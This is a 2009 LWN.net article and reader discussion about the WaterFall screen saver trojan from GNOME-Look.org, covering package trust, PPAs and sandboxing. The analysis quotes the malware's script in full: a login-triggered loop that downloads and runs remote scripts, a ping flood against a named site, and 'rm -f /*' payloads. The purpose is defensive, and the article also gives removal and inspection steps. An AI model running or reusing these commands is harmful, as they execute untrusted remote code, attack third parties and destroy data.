Linux malware: an incident and some solutions
Linux users like to think that they are not vulnerable to all the evil that is out there on the internet, but a recent incident showed that they too should be careful. A screen saver from the popular web site GNOME-Look.org turned out to be malware that made the user's computer take part in a distributed denial-of-service attack.
GNOME-Look.org is a website where users can download artwork for the
GNOME Desktop, such as wallpapers, GTK themes, icons, splash screens, and
screen savers. Its motto is "Eyecandy for your
GNOME-Desktop
". One week ago, an Ubuntu user
"conorsulli" that had installed a screen saver called
"WaterFall" noticed something strange and posted his
discovery in the Ubuntu forums. The .deb file he had
downloaded didn't install a screen saver but instead some weird files.
First, it installed a script gnome.sh into /etc/profile.d, meaning that the script gets executed every time someone logs in (because /etc/profile executes all scripts it finds in /etc/profile.d). This script then runs another installed script, /usr/bin/Auto.bash, which downloads some files from a free web hosting site at T35 Hosting and installs them locally: /usr/bin/run.bash and /usr/bin/index.php. The whole Auto.bash script is:
while : do rm /usr/bin/run.bash cd /usr/bin/ wget http://05748.t35.com/Bots/index.php wget http://05748.t35.com/Bots/run.bash sleep 4 rm index.php chmod 755 run.bash command -p /usr/bin/run.bash done
So, Auto.bash downloads index.php (which it strangely removes before doing anything with it) and run.bash, after which it executes the latter. Ultimately, the downloaded script run.bash pings packets of a large size (around 64 kB) to a server, presumably to mount a distributed denial-of-service attack:
ping -s 65507 www.mmowned.com
The victim, MMOwned, seems to be a web site dedicated to exploits, hacks, bots, and guides to the massively multiplayer online game World of Warcraft. However, as the script run.bash gets downloaded each time the user logs in, it could be replaced by other, much worse, assignments. Note that the script Auto.bash uses an infinite loop. Combined with the sleep command, this effectively downloads and executes a new run.bash every few seconds, for as long as the user is logged in. This is not very stealthy, as watching for suspicious network connections with netstat or suspicious processes with top or ps will likely spot the problem.
Dangerous payloads
When Ubuntu users visited the URI where the scripts were hosted to investigate the case, the culprit noticed and explained his quest:
And indeed, at one time the run.bash script contained sudo rm -f /*, which removes all files (luckily not recursively, because the command lacks the r flag) in the root directory. To prove his point, the bad guy changed the payload a few times, for example to:
rm -f /*.* echo "You see this? It's changed, before it was set to ping?"
Ultimately, conorsulli's discovery led the administrators of GNOME-Look.org to remove the malicious screen saver from their web site. The forum thread then listed instructions to remove the malware, first purge the deb file with:
apt-get --purge remove app5552then remove the downloaded files. However, because the run.bash script is downloaded from a server every time the user logs in, no one can exclude the possibility that it did something much more nasty and has hidden a backdoor. A complete reinstall of Ubuntu is the only safe solution here. But the bad guy didn't stop and tried to masquerade the same attack in the "Ninja Black" theme.
There are still some gaps in our understanding about what the malware did exactly. Because the .deb file can't be inspected anymore, it's hard to fill in those gaps. There appear to be some problems with the script: for example Auto.bash runs as a regular user and thus has no write permissions to /usr/bin (unless that is somehow changed as part of the installation script). So run.bash couldn't be downloaded and would only be executed as it was installed from the .deb. The whole construction looks like it might have been written by a script kiddie, but it's scary to think about the consequences of a competent programmer writing such malware.
In ... we trust
Of course it's not hard to come up with the lesson from of all this. One of the Ubuntu users summarized it neatly:
Examining the contents of a deb file is actually simple:
dpkg --contents foo.debThe offline package installer Gdebi even shows the included files in a package before it is installed. Eventually, the discussion moved into a new thread, "Social engineering (trojan) via gnome-look.org", discussing the problem of Linux malware from a general point of view.
Software in the official repositories of Linux distributions are more or less trustworthy because most distributions have a policy that requires that the software be tested. So package managers and the repositories they use are a trusted source. This is one of the reasons why malware isn't as common on Linux systems as on Windows, where the user has to install lots of third-party software from various sources. The problem of course is: if users trust arbitrary code, then they are vulnerable to all sorts of security risks. When installing something from outside an official repository, the user has to do the testing step himself. Needless to say, many users won't do that. They just want to run the newest screen savers, themes, and other software to spice up their desktop.
However, there is a genuine need for more software than the official repositories have. Ubuntu has the PPAs (Personal Package Archives) for this purpose, but then the user has to trust the PPA owner. Although there are some requirements for setting up a PPA, such as signing the Ubuntu code of conduct, apparently there are no formal requirements or reviews, so in principle anyone can set up a malicious PPA.
So maybe it's time to think about a more general solution, e.g. with a
GPG-based "web of trust". This can also be implemented in the
form of "trusted PPAs". This way the owner of a PPA can prove
their identity, and users can then download only packages from
someone they trust (or someone trusted by someone they
trust). Incidentally, the roadmap of Ubuntu Software Center shows some
plans in this domain for Ubuntu
10.10: "Establish and convey a trust level for software in PPAs,
and let you easily add PPAs within the Center.
", although it doesn't
mention how that trust level would be established. But even when this is
implemented, one must not forget that trust can be misguided. Apparently,
people trusted GNOME-Look.org blindly.
Mandatory version control
Another proposal came from Amarok developer Mark Kretschmann, who has been thinking about possible solutions to malware. He doesn't find a review process practical:
What he proposes as a first barrier is mandatory version control for all third-party KDE components, such as Amarok plugins, Plasma applets, and so on:
Requiring that packages come out of project-run VCS doesn't solve all the
problems, but it could help.
However, it does require that the VCS server is adequately secured, as
Joey Hess pointed
out:
"It's easy for anyone with shell access to the svn server to go back
and change someone else's past commit, inserting their malware at that
point without anything pointing to them as the perpetrator.
"
The year of the Linux desktop?
Some people have jokingly said that this malware incident shows that we have finally reached the "year of the Linux desktop". There is some truth in that, though. Linux, and especially Ubuntu, is attracting more and more new users. However, many of these users have learned bad habits in the Windows world, such as downloading eye candy from arbitrary sources. An incident like the WaterFall malware can only be avoided when users are trained not to trust third-party software blindly. We also need more technical measures: mandatory version control might be a first step, but some kind web of trust for software could be helpful too. The latter would make trust an explicit feature in package managers, which may make users think about how they trust the source before they install a package.
Index entries for this article | |
---|---|
Security | Desktop |
Security | Linux malware |
GuestArticles | Vervloesem, Koen |
Posted Dec 24, 2009 12:25 UTC (Thu)
by tzafrir (subscriber, #11501)
[Link] (3 responses)
I'm not aware of a simple dpkg equivalent of the command 'rpm -q --scripts foo.rpm', but it should be along the lines of:
dpkg --info foo.deb config preinst postinst prerm postrm
Posted Dec 24, 2009 16:34 UTC (Thu)
by cortana (subscriber, #24596)
[Link] (2 responses)
The question I want to ask is: why on earth did gnome-look not strip out all the scripts that
Posted Dec 25, 2009 6:51 UTC (Fri)
by elanthis (guest, #6227)
[Link] (1 responses)
Posted Dec 26, 2009 14:21 UTC (Sat)
by tzafrir (subscriber, #11501)
[Link]
Posted Dec 24, 2009 12:49 UTC (Thu)
by rickmoen (subscriber, #6943)
[Link] (3 responses)
It's unfortunate that nearly all articles about Unix malware start by thrashing the same
stupid straw man about "Linux users like to think that they are not vulnerable". Any operating
system that permits the user to destroy his/her own system's security is "vulnerable" in that
trivial and rather meaningless sense of the word, and Unix furnishes the rope to hang yourself,
spare blocks and tackles, and a few rope factories and foundries in case you want to make more.
So, when has it ever not been the case that "they too should be careful"?
The .deb was "on gnome-look.org" in the technical sense that it was made available by its
third-party author at some URL of the form http://gnome-look.org/CONTENT/content-
files/[something].deb, but even a cursory look at the site should have revealed to any member of
the public that the site maintainers do effectively zero quality control, that it's an automated
"portal" where "Everyone can upload and download artwork, applications, documents and other
files."
So, it should have been obvious that the downloaded file was from nobody in particular, for
starters -- but then there's the fact that it's a .deb, which requires root/sudo to install, and
inherently supports preinst/postinst scripts, run as root.
None of which in the least differs from Koen Vervloesem's point that "An incident like the
WaterFall malware can only be avoided when users are trained not to trust third-party software
blindly", which is well taken, but there's only so much that can be done to dissuade novice
sysadmins from destroying their systems. If they're willing to install as the root user software
from unknown parties on the Internet just so they can have "the newest screen savers, themes,
and other software to spice up their desktop", the best you can do is gently point them to the
CERT document on recovery from root compromise and say "Gosh, it hurts when you shoot at
your own foot, doesn't it?"
Even with "more software than the official repositories have", if it's not alleged screensavers,
it'll be alleged Internet poker games, alleged video codecs for porn, alleged "birthday cards", etc.
-- or various and sundry add-on Web apps.
The only way out is to keep reminding users they're responsible for whom they trust and
what processes they run, teach them not to aim that gun at their feet, and teach them how to
recognise that type of foot wound and how it got there.
Rick Moen
Posted Dec 24, 2009 19:11 UTC (Thu)
by rickmoen (subscriber, #6943)
[Link] (2 responses)
And, I forgot to mention: Firefox extensions. I note that the Mozilla Organization's
https://addons.mozilla.org/ "portal" site contributes substantially to the problem of dangerous
user attitudes, by having no entry about source code or licensing on any of the extension entries,
but a large, prominent button marked "Download Now" on each. I've encountered Linux users
who've been completely unaware that what they fetched via that site was proprietary software
from nobody in particular, that they would not have trusted with their user-level security access
if they'd been thinking more clearly.
I suggest we of the Linux community work harder to get out the message that, e.g., just
because we recommend Adblock and NoScript, that doesn't mean we recommend downloading
arbitrary extensions from any-old-where, and that, when we provide URLs to Adblock and
NoScript's upstream Web sites, we don't mean you should get it from there: You should get
maintained, audited packages from your distro maintainers, where available -- and assume code
is dangerous unless you have reason to think it isn't.
Rick Moen
Posted Dec 25, 2009 3:10 UTC (Fri)
by pflugstad (subscriber, #224)
[Link] (1 responses)
http://lwn.net/Articles/332093/
Intentional?
Pete
Posted Dec 26, 2009 7:48 UTC (Sat)
by rickmoen (subscriber, #6943)
[Link]
http://lwn.net/Articles/332093/
{shrug} The best solution to upstream antics is the one Jake Edge mentions, distro packages,
which I always strongly, strongly encourage Linux newcomers to favour over going to upstream
(absent rare reasons to the contrary). But NoScript / Adblock even with upstream antics are better
than lacking them. Fortunately, both extensions are open source -- as many extensions advertised
on https://addons.mozilla.org/ are not.
(My view, yours for a small royalty fee and waiver of reverse-engineering rights).
Rick Moen
Posted Dec 25, 2009 18:15 UTC (Fri)
by smurf (subscriber, #17840)
[Link]
That's a SVN problem. With git, such a change would have to be propagated through the whole subsequent commit history. This would be immediately visible to anybody who re-syncs their git archive and then looks at the resulting merge tree. Not a perfect solution, but good enough; anyway, git also supports gpg-signed tags, which _are_ as perfect as one can get.
The other distributed VCSes offer similar integrity features. But then, SVN is no _distributed_ VCS.
Posted Dec 30, 2009 1:43 UTC (Wed)
by zooko (guest, #2589)
[Link] (12 responses)
Argh. This is not the only possible solution! It makes me sad that the linux community assumes
The "other solution" -- the one that most people seem to find inconceivable -- is *don't give it
Now implementing an access control mechanism that could enforce this while being usable is a
Posted Dec 30, 2009 1:56 UTC (Wed)
by dlang (guest, #313)
[Link] (1 responses)
if so, then it is no longer good enough to lock things down as you describe, because the screensaver could pop up a image that looks like your desktop. with no other access it becomes a simple DOS (as opposed to a full trojan) but it would still be a nasty issue to troubleshoot.
and if it isn't allowed to accept input, how can you have a locking screensaver?
back in the c64 days I would do something similar. I could walk up to a machine on display in the store and a minute or so later walk away with the display looking the same (complete with the cursor moving), but anything you typed just responded with 'OK'
on a display machine that just needed a (fast) power cycle to get back to normal, this was a prank. as a 1% of the time I cause you to loose all open files because the the screensaver takes over and makes it look like your box is dead it becomes more significant.
Posted Dec 30, 2009 14:02 UTC (Wed)
by paulj (subscriber, #341)
[Link]
Posted Dec 30, 2009 4:25 UTC (Wed)
by rickmoen (subscriber, #6943)
[Link] (8 responses)
Zooko, consider the mechanics of what happened at gnome-look.org: A nameless author contributed an alleged screensaver-module file in (at least) .deb format, and the site's automated scripts accepted and listed it. His/her listing either stated or implied that the user should download and "dpkg -i" it.
Putting user-system-level ACLs on what an eye-candy display for xlock is allowed to do doesn't address that particular threat model, because the attack was a social-engineering one against the user, to get him/her to install a distro package with root authority when no such access should be rationally needed just to install a screensaver. (An ACL approach such as you might discuss could help with actual screensaver files.)
The author's sentence "An incident like the WaterFall malware can only be avoided when users are trained not to trust third-party software blindly" strikes me as directed towards pondering how to make social-engineering threats less likely to succeed, and I agree with the author that those are a much larger threat than lack of a capabilities-enforcement mechanism for screensavers, wallpaper, themes, etc.
Rick Moen
Posted Dec 30, 2009 4:45 UTC (Wed)
by zooko (guest, #2589)
[Link] (7 responses)
Posted Dec 30, 2009 6:38 UTC (Wed)
by rickmoen (subscriber, #6943)
[Link] (6 responses)
Rick Moen
Posted Jan 4, 2010 19:08 UTC (Mon)
by giraffedata (guest, #1954)
[Link] (5 responses)
I can see it. It's a higher level of capability control than you're thinking of. Maybe implemented in dpkg itself. You request to install a package, but say, "This installation has no business setting up something that runs every time anyone logs in." In the case at hand, I believe if dpkg failed with a message saying, "you need to give me permission to install a login script," the user wouldn't have proceeded.
Indeed, that kind of constrainability of installs would help with inadvertent over-installation as well. Many times, I've had an installer helpfully configure something on my system for me -- something outside the scope of what I thought I was modifying by installing -- and later I had a devil of a time figuring out who changed it and how to change it back.
Posted Jan 4, 2010 21:31 UTC (Mon)
by hppnq (guest, #14462)
[Link] (4 responses)
I think no amount of capability control will help decide, with acceptable confidence, what is trusted
and what not -- not even if this would involve detection of normal usage and trust patterns --
unless the software was downloaded from a trusted site to begin with.
(I guess the problem of properly configuring a system that is exposed to uncontrolled outside input
to perform a specific task is exactly as difficult as configuring it to prevent it. ;-)
Posted Jan 4, 2010 23:13 UTC (Mon)
by zooko (guest, #2589)
[Link] (3 responses)
Suppose then that the administrators of http://gnome-look.org/ ran a script which confirmed that the eye-candy packages didn't install anything other than the appropriate eye-candy plugin code. (Note that they don't need to inspect any source code themselves -- they just have a script which inspects each new package when it is uploaded to confirm that nothing gets written outside of the appropriate location for eye-candy plugins.)
Now here is my point: nobody needs to make judgments about the moral character of the authors of the plugins! This hypothetical Principle-Of-Least-Authority package management system (of which Nix may be an example or at least an ancestor), plus this hypothetical script that the owners of http://gnome-look.org/ execute automatically on all new uploads, plus this hypothetical Principle-of-Least-Authority eye-candy plugin mechanism (of which Google Native Client is an example), combine so that you can happily invite the author of this malware to go ahead and submit a whole bunch more eye-candy plugins to http://gnome-look.org/ , and millions of users can safely download his latest creations and stare at the pretty pictures.
So the point that I'm trying to emphasize here is that discerning between good guys and bad guys among the authors of the software that you rely on is *not* the only way to defend against malware.
And a good thing too, because that strategy is utterly hopeless for a large-scale software ecosystem. It is an appropriate strategy for Dunbar's-number-scaled ecosystems in which you basically know everyone involved personally and can form coherent opinions about each person's character. In other words, it was probably a great strategy for our ancestors ten thousand years ago, and that's probably why we continue to think of it as the right and natural thing to do today, even though it is utterly useless for today's situation.
Posted Jan 4, 2010 23:19 UTC (Mon)
by dlang (guest, #313)
[Link] (2 responses)
Given an arbitrary script, it is not trivial to verify that it does or doesn't access files in any particular place. In any language it is fairly easy to obfuscate the actual path that's accessed by having that path be the result of some calculation
I's not feasible to say "don't allow variables in a command" because for maintainability and readability there are a lot of very good reasons to do so.
Posted Jan 5, 2010 0:10 UTC (Tue)
by zooko (guest, #2589)
[Link] (1 responses)
The basic idea is that you don't try to figure out what the code is going to do, you instead have a separate layer that has some (simple, easily verified) policy about the consequences of what the code does when you run it. In the case of GNU stow, that simple policy is that nothing gets written to outside of /usr/local . I don't understand Nix as well, but it seems like it enforces that nothing gets written outside of "/nix/store/22bharrqlcisnwa11a5qr0xazgvv64hk-firefox-3.5b4" where the big long random string is the secure hash of the actual contents of this particular version. (I'm copying this from http://lwn.net/Articles/337677/ .)
Posted Jan 5, 2010 5:47 UTC (Tue)
by dlang (guest, #313)
[Link]
Posted Jan 7, 2010 17:22 UTC (Thu)
by Felix_the_Mac (guest, #32242)
[Link]
It should also be possible to say when installing a package:
Allow NO network access
And the required level could be 'hinted' in the installer so that the user would be prompted
"OpenOffice requests full network access? Is this OK? (Remember most programs do not need full network access)"
Posted Dec 31, 2009 17:34 UTC (Thu)
by ccurtis (guest, #49713)
[Link]
In the gnome-look example, this 'dpkg-gui' could scan the file listing and display a dialog saying that (based on the various rules) the 'Waterfall' package contains:
* GTK Themes
... with appropriate warnings about the items marked with a '!'.
The 'Maintainer scripts' type is (and always has been) a huge hole-in-the-waiting. You could scan each script looking for patterns ('/etc/', '/../') but the number of false positives (reading files versus writing) would be large - not to mention that any language could be used and the paths could be obfuscated easily.
One could argue that a user should know that a theme doesn't require these scripts, but that's really asking too much. People coming from Windows, rightly or wrongly, place some trust the installer because they can always "back out". This is not a completely unreasonable position. Given the innate "root-ness" of system packages, Linux may even be an even more vulnerable target.
Perhaps the 'Maintainer scripts' has a "Check..." option that creates a VM or a secure chroot/jail on top of a filesystem snapshot or overlay from which it can perform a delta analysis. It can then use this delta to amend the list of categories the package belongs to - perhaps highlighting new decisions in red, or disallowing them altogether.
This is an issue that will need to be addressed, and user education is not the answer. Like debugging clever code, this arms race has to be fought between the programmers themselves - not between the attackers and the "OMG Ponies" folks.
Linux malware: an incident and some solutions
Linux malware: an incident and some solutions
and whether they are shell scripts, perl scripts, etc.
submitted debs contained? There is no need for a package containing a screen saver to contain
such as script; all you have to do is drop an executable somewhere, and a .desktop file in
/usr/share/applications/screensavers!
Linux malware: an incident and some solutions
wants to use native packages for this, require them to be submitted as simplifed source balls
and build the binaries and packages themselves, using a properly jailed build environment
(or even a vm instance).
Linux malware: an incident and some solutions
Linux malware: an incident and some solutions
rick@linuxmafia.com
Linux malware: an incident and some solutions
rick@linuxmafia.com
NoScript and Adblock
Pete wrote:
NoScript and Adblock
rick@linuxmafia.com
Linux malware: an incident and some solutions
>> to go back and change someone else's past commit
Linux malware: an incident and some solutions
third-party software blindly."
that discriminating among sources of software is the only solution. That solution doesn't scale,
nor does it work even at the scale of software production and software use that we already have.
permission to do things that it doesn't need to do*. An eye-candy display for xlock doesn't need
to do anything other than generate pretty patterns on the screen. If that is all that it is able to
do, then it doesn't matter if you download your eye-candy from http://eyecandy.suspicious.ru or
if you receive it in email from linus@kernel.org.
hard job (it would require capability access control instead of the access control lists that we
have now). But at least it is possible to solve the problem that way, unlike the "discriminate
among sources of software" way, which will never work unless we cut down the number of
contributors of open source software to a couple of hundred total programmers world-wide.
Linux malware: an incident and some solutions
Linux malware: an incident and some solutions
untrusted part needs access to is a drawing API to the window on which the screensaver
should appear.
Linux malware: an incident and some solutions
rick@linuxmafia.com
Linux malware: an incident and some solutions
Linux malware: an incident and some solutions
rick@linuxmafia.com
Linux malware: an incident and some solutions
I'm not sure, offhand, how capability controls on package installers would prevent granting of powers to undesired scripts within some packages while permitting them to others.
The kind of attack you need to worry about is the one that is able to fool you, not so much the
system. In the case of a screensaver that asks permission to run a script, some users may be able to
answer correctly: no, of course not. But for a Firefox extension that rewrites a trusted link in a
trusted webpage to a malicious one or opens a connection to a remote server? You
are the weak link.
Linux malware: an incident and some solutions
Linux malware: an incident and some solutions
Linux malware: an incident and some solutions
Linux malware: an incident and some solutions
Linux malware: an incident and some solutions
Linux malware: an incident and some solutions
Allow only local subnet
Allow Internet access
Linux malware: an incident and some solutions
* Desktop wallpapers
* Icons
! System configuration files
! Maintainer scripts